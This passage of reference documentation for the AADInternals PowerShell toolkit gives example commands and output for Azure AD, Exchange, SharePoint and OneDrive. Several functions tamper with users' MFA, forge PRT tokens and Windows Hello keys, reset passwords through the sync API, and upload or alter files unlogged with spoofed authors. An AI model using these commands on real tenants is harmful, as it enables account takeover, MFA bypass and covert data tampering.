AlternateEmailAddresses :
AlternateMobilePhones :
AlternativeSecurityIds :
BlockCredential : false
City :
CloudExchangeRecipientDisplayType :
Country :
Department :
DirSyncProvisioningErrors :
DisplayName : New User
Errors :
Fax :
FirstName :
ImmutableId :
IndirectLicenseErrors :
IsBlackberryUser : false
IsLicensed : false
LastDirSyncTime :
LastName :
LastPasswordChangeTimestamp : 2018-10-25T15:13:10.8686574Z
LicenseAssignmentDetails :
LicenseReconciliationNeeded : false
Licenses :
LiveId : 1003BFFDAEE167C0
MSExchRecipientTypeDetails :
MSRtcSipDeploymentLocator :
MSRtcSipPrimaryUserAddress :
MobilePhone :
OathTokenMetadata :
ObjectId : 13e121db-4132-43c8-a784-a9b12f2bd4e3
Office :
OverallProvisioningStatus : None
PasswordNeverExpires : false
PasswordResetNotRequiredDuringActivate :
PhoneNumber :
PortalSettings :
PostalCode :
PreferredDataLocation :
PreferredLanguage :
ProxyAddresses :
ReleaseTrack :
ServiceInformation :
SignInName : new.user@company.com
SoftDeletionTimestamp :
State :
StreetAddress :
StrongAuthenticationMethods :
StrongAuthenticationPhoneAppDetails :
StrongAuthenticationProofupTime :
StrongAuthenticationRequirements :
StrongAuthenticationUserDetails :
StrongPasswordRequired : true
StsRefreshTokensValidFrom : 2018-10-25T15:13:10.8686574Z
Title :
UsageLocation :
UserLandingPageIdentifierForO365Shell :
UserPrincipalName : new.user@company.com
UserThemeIdentifierForO365Shell :
UserType : Member
ValidationStatus : Healthy
WhenCreated :
Password : Tog59451
Set-AADIntUser (A)
This function changes user’s information.
Example:
# Set user information
Set-AADIntUser -UserPrincipalName "user@company.com" -FirstName "Dave"Remove-AADIntUser (A)
This function removes a user.
Example:
# Remove the user
Remove-AADIntUser -UserPrincipalName "user@company.com"Get-AADIntGlobalAdmins (A)
This function returns all Global Admins of the tenant.
Example:
# Get global admins
Get-AADIntGlobalAdminsOutput:
DisplayName UserPrincipalName
----------- -----------------
admin demo admin@company.onmicrosoft.com
Dave the Admin dave@company.com
User MFA manipulation
Get-AADIntUserMFA (A)
Since version 0.2.8
Gets user’s MFA settings
Example:
# Get the access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Get user's MFA settings
Get-AADIntUserMFA -UserPrincipalName "user@company.com"Output:
UserPrincipalName : user@company.com
State : Enforced
PhoneNumber : +1 123456789
AlternativePhoneNumber : +358 123456789
Email : someone@hotmail.com
DefaultMethod : OneWaySMS
Pin :
OldPin :
StartTime :
Set-AADIntUserMFA (A)
Since version 0.2.8
Sets user’s MFA settings
Example:
# Get the access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Set user's MFA settings
Set-AADIntUserMFA -UserPrincipalName "user@company.com" -PhoneNumber "+1 123456789" -DefaultMethod PhoneAppNotificationGet-AADIntUserMFAApps (A)
Since version 0.4.0
Gets user’s MFA Authentication App settings
Example:
# Get the access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Get user's MFA apps settings
Get-AADIntUserMFAApps -UserPrincipalName "user@company.com"Output:
AuthenticationType : Notification, OTP
DeviceName : SM-R2D2
DeviceTag : SoftwareTokenActivated
DeviceToken : APA91...
Id : 454b8d53-d97e-4ead-a69c-724166394334
NotificationType : GCM
OathTokenTimeDrift : 0
OathSecretKey :
PhoneAppVersion : 6.2001.0140
TimeInterval :
AuthenticationType : OTP
DeviceName : NO_DEVICE
DeviceTag : SoftwareTokenActivated
DeviceToken : NO_DEVICE_TOKEN
Id : aba89d77-0a69-43fa-9e5d-6f41c7b9bb16
NotificationType : Invalid
OathTokenTimeDrift : 0
OathSecretKey :
PhoneAppVersion : NO_PHONE_APP_VERSION
TimeInterval :
Set-AADIntUserMFAApps (A)
Since version 0.4.0
Sets user’s MFA Authentication App settings.
Example:
# Set user's MFA apps settings
Set-AADIntUserMFAApps -UserPrincipalName "user@company.com" -Id 454b8d53-d97e-4ead-a69c-724166394334 -DeviceName "SM-3CPO"Register-AADIntMFAApp (MY)
Since version 0.4.0
Registers AADInternals Authenticator App or OTP appfor the user.
Requirements for App:
- AADInternals Authentication app is installed.
- Device Token is copied from the app.
- The user have registered at least one MFA method, e.g. SMS. This is because Access Token creation performs MFA.
- Registration is done through https://mysignins.microsoft.com so “Users can use the combined security information registration experience” MUST be activated for the tenant.
Example1:
# Save the Device Token of AADInternals Authentication app to a variable
$deviceToken = "APA91bEGIvk1CCg1VIj_YQ_L8fn59UD6...mvXYxlWM6s90_Ct_fpo7iE3uF8hTb"
# Get the access token
Get-AADIntAccessTokenForMySignins -SaveToCache
# Register the new app
Register-AADIntMFAApp -DeviceToken -$deviceToken -DeviceName "My MFA App" -Type APPDefaultMethodOptions : 1
DefaultMethod : 0
Username : user@company.com
TenantId : 9a79b12c-f563-4bdc-9d18-6e6d0d52f73b
AzureObjectId : dce60ee2-d907-4478-9f36-de3d74708381
ConfirmationCode : 1481770594613653
OathTokenSecretKey : dzv5osvdx6dhtly4av2apcts32eqh4bg
OathTokenEnabled : true
Example2:
# Get the access token
Get-AADIntAccessTokenForMySignins -SaveToCache
# Register the new OTP
Register-AADIntMFAApp -Type OTPOathSecretKey DefaultMethodOptions DefaultMethod
------------- -------------------- -------------
5bhbqsrb6ft5rxdx 1 0
New-AADIntOTPSecret
Since version 0.4.0
Generates a one-time-password (OTP) secret which can be used to reset user’s OathSecretKey.
Note! Set only to “apps” which AuthenticationType is OTP!
Example 1:
# Generate a new OTP secret
New-AADIntOTPSecretnjny7gdb6tnfihy3
# Change the user's OathSecretKey
Set-AADIntUserMFAApps -UserPrincipalName "user@company.com" -Id aba89d77-0a69-43fa-9e5d-6f41c7b9bb16 -OathSecretKey "njny7gdb6tnfihy3"Example 2:
# Generate OTP secret
New-AADIntOTPSecret -ClipboardOTP secret copied to clipboard.
New-AADIntOTP
Since version 0.4.0
Generates a one-time-password (OTP) using the given secret. Can be used for MFA if the user’s secret is known.
Example 1:
# Generate OTP
New-AADIntOTP -SecretKey "rrc2 wntz dkbu iikb"OTP Valid
--- -----
502 109 26s
Example 2:
# Generate OTP
New-AADIntOTP -SecretKey "rrc2 wntz dkbu iikb" -ClipboardOTP copied to clipboard, valid for 26s
Set-AADIntDeviceWHfBKey
Since version 0.9.0
Sets a Windows Hello for Business (WHfB) key of the device.
Example 1:
# Get PRTToken of the current user
$prttoken = Get-AADIntUserPRTToken
# Get Access Token using the PRTToken
Get-AADIntAccessTokenForWHfB -PRTToken $prttoken -SaveToCache
# Create a new WHfB key and add it to the device
Set-AADIntDeviceWHfBKeyDevice Window Hello for Business key successfully added to the user:
DeviceId: b27db620-2673-4dac-a565-cec81bfafbaa
Key Id: a07b4c9c-1515-4d79-9ce2-7f7954049adf
UPN: user@company.com
Key file name : "b27db620-2673-4dac-a565-cec81bfafbaa_a07b4c9c-1515-4d79-9ce2-7f7954049adf_user@company.com_whfb.pem"
Example 2:
# Get access token for AADJoin
Get-AADIntAccessTokenForAADJoin -SaveToCache
# Join the device
Join-AADIntDeviceToAzureAD -JoinType Join -DeviceName "My device"Device successfully registered to Azure AD:
DisplayName: "My device"
DeviceId: b27db620-2673-4dac-a565-cec81bfafbaa
ObjectId: 4fbbb5f6-1563-4237-974c-dfabcc5c533c
TenantId: 01a09bec-7584-45a5-8048-e7f1b4181f20
Cert thumbprint: 593E3D7F8F8CE0DB74725EE3B5AC1B5F58D92994
Cert file name : "b27db620-2673-4dac-a565-cec81bfafbaa.pfx"
Local SID:
S-1-5-32-544
Additional SIDs:
S-1-12-1-1173396554-1264637767-1283444156-383767028
S-1-12-1-727559687-1332680371-478291341-2778853572
S-1-12-1-1337701878-1110906211-2883538071-1012096204
# Get PRT and Session key
$prtkeys = Get-AADIntUserPRTKeys -PfxFileName .\b27db620-2673-4dac-a565-cec81bfafbaa.pfxKeys saved to b27db620-2673-4dac-a565-cec81bfafbaa.json
# Create a new PRTToken using PRT and Session key
$prttoken = New-AADIntUserPRTToken -Settings $prtkeys
# Get access token for WHfB
Get-AADIntAccessTokenForWHfB -PRTToken $prttoken -SaveToCache
# Add the provided WHfB key to the given user
Set-AADIntDeviceWHfBKey -PfxFileName .\b27db620-2673-4dac-a565-cec81bfafbaa.pfxDevice Window Hello for Business key successfully added to the user:
DeviceId: b27db620-2673-4dac-a565-cec81bfafbaa
Key Id: a07b4c9c-1515-4d79-9ce2-7f7954049adf
UPN: user@company.com
User manipulation with AD sync api
These functions provide some functionality allowing manipulation of Azure AD objects otherwise impossible.
NOTE! these function uses Azure AD synchronization API and may cause severe harm to the tenant!! USE ON YOUR OWN RISK!
Get-AADIntSyncObjects (A)
This function returns all Azure AD objects that are not synced to the on-premises AD.
Example:
# Get synchronisable objects from AAD
Get-AADIntSyncObjects | Select UserPrincipalNameOutput:
UserPrincipalName
-----------------
BrianJ@company.com
LynneR@company.com
MiriamG@company.com
AllanD@company.com
IsaiahL@company.com
Set-AADIntAzureADObject (A)
This function creates new OR modifies existing Azure AD object.
Allows setting all Azure AD attributes. The sourceAnchor attribute is the most important one and is automatically set only to synced users. This is typically the ImmutableID (Base64 encoded on-prem AD object’s GUID), but can be any string that is unique tenant wide.
Example:
# Create a new user
Set-AADIntAzureADObject -userPrincipalName "someone@company.com" -sourceAnchor "ABC" -netBiosNameOutput:
CloudAnchor : User_d14f7322-c997-4e87-912b-f43c906cec81
ErrorDetails : ErrorDetails
ObjectType : User
ResultCode : Success
ResultErrorCode : 0
ResultErrorDescription : ResultErrorDescription
SourceAnchor : ABC
SyncOperation : Add
Remove-AADIntAzureADObject (A)
This function removes an AAD object.
Example:
# Remove AAD object
Remove-AADIntAzureADObject -sourceAnchor ABCOutput:
CloudAnchor : User_d14f7322-c997-4e87-912b-f43c906cec81
ErrorDetails : ErrorDetails
ObjectType : User
ResultCode : Success
ResultErrorCode : 0
ResultErrorDescription : ResultErrorDescription
SourceAnchor : ABC
SyncOperation : Add
Set-AADIntAzureADGroupMember (A)
Since version 0.8.1
Adds or removes an Azure AD object to/from the given synchronised group using Azure AD Sync API.
Example 1:
# Get access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Add user to group
Set-AADIntAzureADGroupMember -GroupCloudAnchor "Group_0a149b4b-6940-459d-864f-36e0e3a5b3ab" -CloudAnchor "User_10a9ef8a-8b21-4ba9-abcf-82cf55b884de" -Operation AddOutput 1:
CloudAnchor : Group_0a149b4b-6940-459d-864f-36e0e3a5b3ab
ErrorDetails : ErrorDetails
ObjectType : Group
ResultCode : Success
ResultErrorCode : 0
ResultErrorDescription : ResultErrorDescription
SourceAnchor : SourceAnchor
SyncOperation : Set
Example 2:
# Get access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Add user to group
Set-AADIntAzureADGroupMember -GroupSourceAnchor "5p5s0btFu02TjRUAs00FVg==" -SourceAnchor "cl/bTG5zJku9VynOaXYaeQ==" -Operation AddOutput 2:
CloudAnchor : Group_0a149b4b-6940-459d-864f-36e0e3a5b3ab
ErrorDetails : ErrorDetails
ObjectType : Group
ResultCode : Success
ResultErrorCode : 0
ResultErrorDescription : ResultErrorDescription
SourceAnchor : 5p5s0btFu02TjRUAs00FVg==
SyncOperation : Set
Set-AADIntUserPassword (A)
This function sets the user’s password. Also the last change time can be set, must be before the current time.
Example 1:
# Set the password and the change date to 1/1/1970
Set-AADIntUserPassword -SourceAnchor qIMPTm2Q3kimHgg4KQyveA== -Password "a" -ChangeDate 1/1/1970Output 1: (Result 0 = success)
CloudAnchor Result SourceAnchor
----------- ------ ------------
CloudAnchor 0 qIMPTm2Q3kimHgg4KQyveA==
Example 2:
# Set the password and the change date to 1/1/1970
Set-AADIntUserPassword -CloudAnchor "User_60f87269-f258-4473-8cca-267b50110e7a" -Password "a" -ChangeDate 1/1/1970Output 2: (Result 0 = success)
CloudAnchor Result SourceAnchor
----------- ------ ------------
User_60f87269-f258-4473-8cca-267b50110e7a 0 SourceAnchor
Example 3:
# Set the password and the change date to 1/1/1970 and include legacy NTHash
Set-AADIntUserPassword -SourceAnchor qIMPTm2Q3kimHgg4KQyveA== -Password "a" -ChangeDate 1/1/1970 -IncludeLegacyOutput 3: (Result 0 = success)
CloudAnchor Result SourceAnchor
----------- ------ ------------
User_60f87269-f258-4473-8cca-267b50110e7a 0 SourceAnchor
Reset-AADIntServiceAccount (A)
This function creates a new service account (or reset the password for existing one). The created user will have DirectorySynchronizationAccount role.
Azure AD Connect uses this during the configuration stage to create the service account and stores the username and password to the configuration database.
Example:
# Create a new service account for AD sync
Reset-AADIntServiceAccount -ServiceAccount Sync_MyServer_nnnnnnnOutput:
Password UserName
-------- --------
5(]lCy=Q{.#@lb}p Sync_MyServer_nnnnnnn@company.onmicrosoft.com
Exchange Online functions
Eachange Online functions are used to manipulate devices and send mail using ActiveSync and Outlook APIs. Functions marked with E uses Exchange Online access token.
Get-AADIntEASAutoDiscover (*)
Since version 0.1.6
Returns endpoints for the given protocol for the given email address. If the email address is invalid (i.e. the user does not exists) this takes ages..
Example:
# Get endpoint for EWS api
Get-AADIntEASAutoDiscover -Email "some.user@company.com" -Protocol EwsOutput:
Protocol Url
-------- ---
Substrate https://substrate.office.com
Get-AADIntEASAutoDiscoverV1 (E)
Since version 0.1.6
Returns ActiveSync endpoint for the given user (credentials or access token).
Example:
# Get credentials
$Cred=Get-Credential
# Get endpoint for ActiveSync
Get-AADIntEASAutoDiscoverV1 -Credentials $CredOutput:
https://outlook.office365.com/Microsoft-Server-ActiveSync
Set-AADIntEASSettings (E)
Since version 0.1.6
Adds new or modifies existing ActiveSync device for the given user (credentials or access token).
The added or modified device can be used to send emails with Send-AADIntEASMessage
Example:
# Get credentials
$Cred=Get-Credential
# Create a device
Set-AADIntEASSettings -Credentials $Cred -DeviceId android01234 -DeviceType Android -Model "Android 01234" -PhoneNumber "+1234567890"Output:
<Settings xmlns="Settings"><Status>1</Status><DeviceInformation><Status>1</Status></DeviceInformation></Settings>Get-AADIntMobileDevices (E)
Since version 0.1.6
Gets mobile devices from Exchange Online.
Devices can be used to send emails with Send-AADIntEASMessage
Example:
# Get credentials
$Cred=Get-Credential
# Get Mobile Devices
Get-AADIntMobileDevices -Credentials $Cred | select DeviceId,DeviceType,ClientType,UserDisplaynameOutput:
DeviceId DeviceType ClientType UserDisplayName
-------- ---------- ---------- ---------------
430847304 TestActiveSyncConnectivity EAS EURP189A002.PROD.OUTLOOK.COM/Microsoft Exchange Hosted Organizat
android01234 Android EAS EURP189A002.PROD.OUTLOOK.COM/Microsoft Exchange Hosted Organizat
Send-AADIntEASMessage (E)
Since version 0.1.6
Sends an email from the given user via ActiveSync using the given device.
Example:
# Get credentials
$Cred=Get-Credential
# Send an email
Send-AADIntEASMessage -Credentials $Cred -DeviceId android01234 -DeviceType Android -Recipient "someone@company.com" -Subject "An email" -Message "<h2>This is a message!</h2>"Output:
WARNING: Message was not Base64 encoded, converting..
Send-AADIntOutlookMessage (E)
Since version 0.1.6
Sends an email from the given user via Outlook API.
Example:
# Get accesstoken
$At=Get-AADIntAccessTokenForEXO
# Create the email
Send-AADIntOutlookMessage -AccessToken $At -Recipient "someone@company.com" -Subject "An email" -Message "<h2>This is a message!</h2>"Open-AADIntOWA (O)
Since version 0.6.2
Opens OWA in a browser control window as the given user.
Example1:
# Get accesstoken
Get-AADIntAccessTokenForEXO -Resource "https://outlook.office.com" -SaveToCache
# Open OWA
Open-AADIntOWAExample2:
# Get accesstoken
Get-AADIntAccessTokenForEXO -Resource "https://substrate.office.com" -SaveToCache
# Open OWA
Open-AADIntOWA -Mode SubstrateSharePoint Online functions
Eachange Online functions are used to retrieve information of users and groups of SharePoint sites.
Get-AADIntSPOSiteUsers (S)
Since version 0.2.4
Returns users of the given site. Only visitor (read-access) is needed :)
Example:
# Get site users
$ah=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com
Get-AADIntSPOSiteUsers -Site https://company.sharepoint.com -AuthHeader $ahOutput:
IsSiteAdmin : True
Id : 17
LoginName : c:0t.c|tenant|a200e3ee-47d0-4b9b-99c6-554b85823042
PrincipalType : 4
IsEmailAuthenticationGuestUser : False
UserPrincipalName :
IsShareByEmailGuestUser : False
IsHiddenInUI : False
NameId :
NameIdIssuer :
Title : SharePoint Service Administrator
Email :
IsSiteAdmin : False
Id : 1073741823
LoginName : SHAREPOINT\system
PrincipalType : 1
IsEmailAuthenticationGuestUser : False
UserPrincipalName :
IsShareByEmailGuestUser : False
IsHiddenInUI : False
NameId : S-1-0-0
NameIdIssuer : urn:offic€:idp:activedirectory
Title : System Account
Email :
IsSiteAdmin : False
Id : 23
LoginName : i:0#.f|membership|user@company.com
PrincipalType : 1
IsEmailAuthenticationGuestUser : False
UserPrincipalName : user@company.com
IsShareByEmailGuestUser : False
IsHiddenInUI : False
NameId : 10030000b5466d52
NameIdIssuer : urn:federation:microsoftonline
Title : user
Email : user@company.com
Get-AADIntSPOUserProperties (S)
Since version 0.2.4
Returns detailed information of the given user. Only visitor (read-access) is needed :)
Note: the user’s name must be in SharePoint “LoginName” format as above.
Example:
# Get site users
$ah=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com
Get-AADIntSPOUserProperties -Site https://company.sharepoint.com -AuthHeader $ah -User "i:0#.f|membership|user@company.com"Output:
Updated : 2019-08-16T07:59:30Z
Author :
AccountName : i:0#.f|membership|user@company.com
DirectReports :
DisplayName : user
Email : user@company.com
ExtendedManagers :
ExtendedReports : i:0#.f|membership|user@company.com
IsFollowed : False
Peers :
PersonalUrl : https://company-my.sharepoint.com/personal/user_company_com/
PictureURL :
UserUrl : https://company-my.sharepoint.com:443/Person.aspx?accountname=i:0#.f|membership|user@company.com
Title :
UserProfile_GUID : f6b3014d-c4d7-4775-a37c-1e6f14fa98f9
SID : i:0h.f|membership|10030000a5566b50@live.com
ADGuid : System.Byte[]
FirstName :
SPS-PhoneticFirstName :
LastName :
SPS-PhoneticLastName :
PreferredName : user
SPS-PhoneticDisplayName :
WorkPhone :
Department :
SPS-Department :
Manager :
AboutMe :
PersonalSpace : /personal/user_company_com/
UserName : user@company.com
QuickLinks :
WebSite :
PublicSiteRedirect :
SPS-JobTitle :
SPS-Dotted-line :
SPS-Peers :
SPS-Responsibility :
SPS-SipAddress : user@company.com
SPS-MySiteUpgrade :
SPS-ProxyAddresses :
SPS-HireDate :
SPS-DisplayOrder :
SPS-ClaimID : user@company.com
SPS-ClaimProviderID : membership
SPS-ResourceSID :
SPS-ResourceAccountName :
SPS-MasterAccountName :
SPS-UserPrincipalName : user@company.com
SPS-O15FirstRunExperience :
SPS-PersonalSiteInstantiationState : 2
SPS-DistinguishedName : CN=abf7eff8-59a5-456f-a723-976f07b14420,OU=a200e3ee-47d0-4b9b-99c6-554b85823042,OU=Tenants,OU=MSO
nline,DC=SPODS44818354,DC=msoprd,DC=msft,DC=net
SPS-SourceObjectDN :
SPS-ClaimProviderType : Forms
SPS-SavedAccountName : SPODS44833354\$JUHIC0-TJJO02Q7PVM2
SPS-SavedSID : System.Byte[]
SPS-ObjectExists :
SPS-PersonalSiteCapabilities : 4
SPS-PersonalSiteFirstCreationTime : 10/2/2017 5:50:10 PM
SPS-PersonalSiteLastCreationTime : 10/2/2017 5:50:10 PM
SPS-PersonalSiteNumberOfRetries : 1
SPS-PersonalSiteFirstCreationError :
SPS-FeedIdentifier :
WorkEmail : user@company.com
CellPhone :
Fax :
HomePhone :
Office :
SPS-Location :
Assistant :
SPS-PastProjects :
SPS-Skills :
SPS-School :
SPS-Birthday :
SPS-StatusNotes :
SPS-Interests :
SPS-HashTags :
SPS-EmailOptin :
SPS-PrivacyPeople : True
SPS-PrivacyActivity : 4095
SPS-PictureTimestamp :
SPS-PicturePlaceholderState :
SPS-PictureExchangeSyncState :
SPS-TimeZone :
OfficeGraphEnabled :
SPS-UserType : 0
SPS-HideFromAddressLists : False
SPS-RecipientTypeDetails :
DelveFlags :
msOnline-ObjectId : abf7eff8-59a5-456f-a723-976f07b14420
SPS-PointPublishingUrl :
SPS-TenantInstanceId :
SPS-SharePointHomeExperienceState :
SPS-MultiGeoFlags :
PreferredDataLocation :
Get-AADIntSPOSiteGroups (S)
Since version 0.2.4
Returns groups of the given site. Only visitor (read-access) is needed :)
Example:
# Get site groups
$ah=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com
Get-AADIntSPOSiteGroups -Site https://company.sharepoint.com -AuthHeader $ahOutput:
AllowRequestToJoinLeave : False
Id : 3
LoginName : Excel Services Viewers
AllowMembersEditMembership : False
AutoAcceptRequestToJoinLeave : False
PrincipalType : 8
OnlyAllowMembersViewMembership : True
IsHiddenInUI : False
Description :
Title : Excel Services Viewers
OwnerTitle : System Account
AllowRequestToJoinLeave : False
Id : 19
LoginName : SharePointHome OrgLinks Admins
AllowMembersEditMembership : False
AutoAcceptRequestToJoinLeave : False
PrincipalType : 8
OnlyAllowMembersViewMembership : True
IsHiddenInUI : False
Description :
Title : SharePointHome OrgLinks Admins
OwnerTitle : SharePointHome OrgLinks Admins
AllowRequestToJoinLeave : False
Id : 20
LoginName : SharePointHome OrgLinks Editors
AllowMembersEditMembership : False
AutoAcceptRequestToJoinLeave : False
PrincipalType : 8
OnlyAllowMembersViewMembership : True
IsHiddenInUI : False
Description :
Title : SharePointHome OrgLinks Editors
OwnerTitle : SharePointHome OrgLinks Editors
AllowRequestToJoinLeave : False
Id : 21
LoginName : SharePointHome OrgLinks Viewers
AllowMembersEditMembership : False
AutoAcceptRequestToJoinLeave : False
PrincipalType : 8
OnlyAllowMembersViewMembership : True
IsHiddenInUI : False
Description :
Title : SharePointHome OrgLinks Viewers
OwnerTitle : SharePointHome OrgLinks Admins
AllowRequestToJoinLeave : False
Id : 9
LoginName : Team Site Members
AllowMembersEditMembership : True
AutoAcceptRequestToJoinLeave : False
PrincipalType : 8
OnlyAllowMembersViewMembership : False
IsHiddenInUI : False
Description :
Title : Team Site Members
OwnerTitle : Team Site Owners
AllowRequestToJoinLeave : False
Id : 7
LoginName : Team Site Owners
AllowMembersEditMembership : False
AutoAcceptRequestToJoinLeave : False
PrincipalType : 8
OnlyAllowMembersViewMembership : False
IsHiddenInUI : False
Description :
Title : Team Site Owners
OwnerTitle : Team Site Owners
AllowRequestToJoinLeave : False
Id : 8
LoginName : Team Site Visitors
AllowMembersEditMembership : False
AutoAcceptRequestToJoinLeave : False
PrincipalType : 8
OnlyAllowMembersViewMembership : False
IsHiddenInUI : False
Description :
Title : Team Site Visitors
OwnerTitle : Team Site Owners
Set-AADIntSPOSiteMembers (S)
Since version 0.7.2
Returns groups of the given site. Only visitor (read-access) is needed :)
Example:
# Add user to site
$auth=Get-AADIntSPOAuthenticationHeader -Site "https://company.sharepoint.com"
Set-AADIntSPOSiteMembers -Site "https://company.sharepoint.com" -AuthHeader $auth -SiteName CompanyWiki -UserPrincipalName "user@company.com"Output:
User user@company.com was added to group CompanyWiki!
Export-AADIntSPOSiteFile (S)
Since version 0.9.1
Downloads the given file from SPO.
Example:
# Get access token for SPO and save to cache
Get-AADIntAccessTokenForSPO -SaveToCache
# Download the file
Export-AADIntSPOSiteFile -Site "https://company.sharepoint.com/sites/Sales" -RelativePath "Shared Documents/General/sales.xlsx"Output:
File saved to sales.xlsx
Add-AADIntSPOSiteFiles (S)
Since version 0.9.1
Send given file(s) to given SPO site using SharePoint Migration Tool protocol. File additions are NOT LOGGED and metadata can be spoofed.
Note: Can take up to 10 minutes to complete.
Example1:
# Get access token for SPO and save to cache
Get-AADIntAccessTokenForSPO -SaveToCache
# Send files to SPO site as SHAREPOINT\system
Add-AADIntSPOSiteFiles -Site "https://company.sharepoint.com/sales" -Folder "Shared Documents" -Files "C:\share\Document1.docx","C:\share\Document2.docx"Output1:
Sending 2 files as "SHAREPOINT\system" to site "https://company.sharepoint.com/sales/Shared Documents"
11/28/2022 08:59:35.042 JobQueued
11/28/2022 09:01:55.986 JobLogFileCreate
11/28/2022 09:01:56.018 JobStart
11/28/2022 09:01:57.580 JobEnd
2 files (2,322,536 bytes) created.
Example2:
# Get access token for SPO and save to cache
Get-AADIntAccessTokenForSPO -SaveToCache
# Send files to SPO site as another user and modified timestamps
Add-AADIntSPOSiteFiles -Site "https://company.sharepoint.com/sales" -Folder "Shared Documents" -Files "C:\share\Document1.docx","C:\share\Document2.docx" -UserName "user2@company.com" -TimeCreated "1.1.1970 01:00" -TimeLastModified "1.1.1970 02:00"Output2:
Sending 2 files as "i:0#.f|membership|user2@company.com" to site "https://company.sharepoint.com/sales/Shared Documents"
11/28/2022 08:59:35.042 JobQueued
11/28/2022 09:01:55.986 JobLogFileCreate
11/28/2022 09:01:56.018 JobStart
11/28/2022 09:01:57.580 JobEnd
2 files (2,322,536 bytes) created.
Update-AADIntSPOSiteFile (S)
Since version 0.9.1
Replaces an existing file in SPO site with the given file using SharePoint Migration Tool protocol. File modifications are NOT LOGGED and metadata can be spoofed.
Note: Can take up to 10 minutes to complete.
Example1:
# Get access token for SPO and save to cache
Get-AADIntAccessTokenForSPO -SaveToCache
# Send files to SPO site as current document author
Update-AADIntSPOSiteFile -Site "https://company.sharepoint.com/sales" -RelativePath "Shared Documents/Document1.docx" -File "UpdatedDocument.docx"Output1:
Sending 1 files as "i:0#.f|membership|user1@company.com" to site "https://company.sharepoint.com/sales/Shared Documents"
11/28/2022 08:59:35.042 JobQueued
11/28/2022 09:01:55.986 JobLogFileCreate
11/28/2022 09:01:56.018 JobStart
11/28/2022 09:01:57.580 JobEnd
1 files (322,536 bytes) created.
Example2:
# Get access token for SPO and save to cache
Get-AADIntAccessTokenForSPO -SaveToCache
# Send files to SPO site as another user and modified timestamps
Update-AADIntSPOSiteFile -Site "https://company.sharepoint.com/sales" -RelativePath "Shared Documents/Document1.docx" -File "UpdatedDocument.docx" -UserName "user2@company.com" -TimeCreated "1.1.1970 01:00" -TimeLastModified "1.1.1970 02:00"Output2:
Sending 1 files as "i:0#.f|membership|user2@company.com" to site "https://company.sharepoint.com/sales/Shared Documents"
11/28/2022 08:59:35.042 JobQueued
11/28/2022 09:01:55.986 JobLogFileCreate
11/28/2022 09:01:56.018 JobStart
11/28/2022 09:01:57.580 JobEnd
1 files (322,536 bytes) created.
OneDrive for Business functions
OneDrive functions are used to download, send, and modify files using OneDrive for Business APIs.
New-AADIntOneDriveSettings
Since version 0.2.7
Creates a new OneDriveSettings object used with other OneDrive for Business functions.
To create new settings using interactive authentication (promtps twice for both OfficeApps and OneDrive APIs):
Example:
# Create a new OneDriveSettings object
$os = New-AADIntOneDriveSettingsTo create new settings using Kerberos tickets:
Example:
# Create a Kerberos ticket
$kt=New-AADIntKerberosTicket -ADUserPrincipalName "user@company.com" -Password "mypassword"
# Create a new OneDriveSettings object using Kerberos ticket
$os = New-AADIntOneDriveSettings -KerberosTicket $ktGet-AADIntOneDriveFiles (O)
Since version 0.2.7
Downloads user’s OneDrive for Business files (all of them).
Besides downloading the files, the following information is returned per file.
| Attribute | Description |
|---|---|
| Path | The relative path of the file or folder |
| Size | Size in bytes |
| ETag | Resource id and the next version number of the file in format “{ |
| Created | The time when the file was created |
| Modified | The time when the file was modified |
| ResourceID | The unique id of the file or folder |
| MimeType | The mime type of the file |
| Url | The “pre-authenticated” url of the file |
| XORHash | Xor-hash value of the file |
Note! If you only want to list the files and folders, use -PrintOnly switch. If sync is restricted to only the members of specific domain(s), use the -DomainGuid parameter.
To download user’s OneDrive files, use the following commands:
Example:
# Create a new OneDriveSettings object
$os = New-AADIntOneDriveSettings
# Download the contents of the OneDrive to the current folder
Get-AADIntOneDriveFiles -OneDriveSettings $os | Format-TableOutput:
Path Size Created Modified ResourceID
---- ---- ------- -------- ----------
\RootFolder\Document1.docx 11032 2.12.2019 20.47.23 2.12.2019 20.48.46 5e7acf393a2e45f18c1ce6caa7...
\RootFolder\Book.xlsx 8388 2.12.2019 20.49.14 2.12.2019 20.50.14 b26c0a38d4d14b23b785576e29...
\RootFolder\Docs\Document1.docx 84567 9.12.2019 11.24.40 9.12.2019 12.17.50 d9d51e47b66c4805aff3a08763...
\RootFolder\Docs\Document2.docx 31145 7.12.2019 17.28.37 7.12.2019 17.28.37 972f9c317e1e468fb2b6080ac2...
Send-AADIntOneDriveFile (O)
Since version 0.2.7
Sends a local file to user’s OneDrive to a specific folder.
Note! To send file, you need ResourceId of the folder you are sending the file.
Note! If sync is restricted to only the members of specific domain(s), use the -DomainGuid parameter.
To send a file to user’s OneDrive to Documents folder:
Example:
# Create a new OneDriveSettings object
$os = New-AADIntOneDriveSettings
# List folders and their resource ids:
Get-AADIntOneDriveFiles -OneDriveSettings $os -PrintOnly -FoldersOnly | select Path,ResourceIDPath ResourceID
---- ----------
\RootFolder 1679e14635404542880e3885b4374c3f
\RootFolder\Documents a2a54a01b586480ebbddf04cfaa36191
\RootFolder\Sales bd59baa485a2411e951234fe6cbd8c5d
# Send the file to Documents folder
Send-AADIntOneDriveFile -OneDriveSettings $os -FileName .\Document.docx -FolderId "a2a54a01b586480ebbddf04cfaa36191"Output:
ResourceID : 32b66e08379d4c448e001e9659777c71
ETag : "{32B66E08-379D-4C44-8E00-1E9659777C71},2"
DateModified : 2019-12-11T11:18:38.0000000Z
RelationshipName : Document.docx
ParentResourceID : a2a54a01b586480ebbddf04cfaa36191
fsshttpstate.xschema.storage.live.com : fsshttpstate.xschema.storage.live.com
DocumentStreams : DocumentStreams
WriteStatus : Success
If the file exists etc. you’ll get following error or similar:
RelationshipName ParentResourceID WriteStatus
---------------- ---------------- -----------
Document a2a54a01b586480ebbddf04cfaa36191 ItemAlreadyExists
To update existing file, you also need to know the ETag: Example:
# Update the file to Documents folder
Send-AADIntOneDriveFile -OneDriveSettings $os -FileName .\Document.docx -FolderId "a2a54a01b586480ebbddf04cfaa36191" -ETag "{32B66E08-379D-4C44-8E00-1E9659777C71},2"Output:
